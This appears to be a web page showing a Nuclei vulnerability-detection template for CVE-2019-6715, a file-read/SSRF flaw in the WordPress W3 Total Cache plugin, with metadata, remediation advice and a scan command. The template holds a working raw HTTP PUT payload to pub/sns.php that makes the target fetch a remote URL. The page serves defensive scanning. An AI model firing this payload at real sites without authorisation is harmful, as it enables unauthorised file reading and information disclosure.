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W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated File Read / Directory Traversal

ID: CVE-2019-6715

Severity: high

Author: randomrobbie

Tags: cve,cve2019,wordpress,wp-plugin,ssrf,packetstorm,intrusive,boldgrid

Description

Section titled “Description”

WordPress plugin W3 Total Cache before version 0.9.4 allows remote attackers to read arbitrary files via the SubscribeURL field in SubscriptionConfirmation JSON data via pub/sns.php.

YAML Source

Section titled “YAML Source”
id: CVE-2019-6715


info:
  name: W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated File Read / Directory Traversal
  author: randomrobbie
  severity: high
  description: |
    WordPress plugin W3 Total Cache before version 0.9.4 allows remote attackers to read arbitrary files via the SubscribeURL field in SubscriptionConfirmation JSON data via pub/sns.php.
  impact: |
    An unauthenticated attacker can read sensitive files or traverse directories on the target system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update to the latest version of W3 Total Cache plugin (0.9.3 or higher) to mitigate the vulnerability.
  reference:
    - https://vinhjaxt.github.io/2019/03/cve-2019-6715
    - http://packetstormsecurity.com/files/160674/WordPress-W3-Total-Cache-0.9.3-File-Read-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6715
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/random-robbie/cve-2019-6715
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-6715
    epss-score: 0.3388
    epss-percentile: 0.97075
    cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: boldgrid
    product: w3_total_cache
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,ssrf,packetstorm,intrusive,boldgrid


http:
  - raw:
      - |
        PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}


    matchers:
      - type: word
        part: body
        words:
          - TmVzc3VzQ29kZUV4ZWNUZXN0
# digest: 4a0a00473045022100bd32588a5a57ebee17f214b231c16e3106b611e8c9c8cf3cf60d0d96bfb01def022013efe9c0fe755233dcb9653fe103bc92183e73d34084575f8903f31b91be3060:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-6715.yaml"

View on Github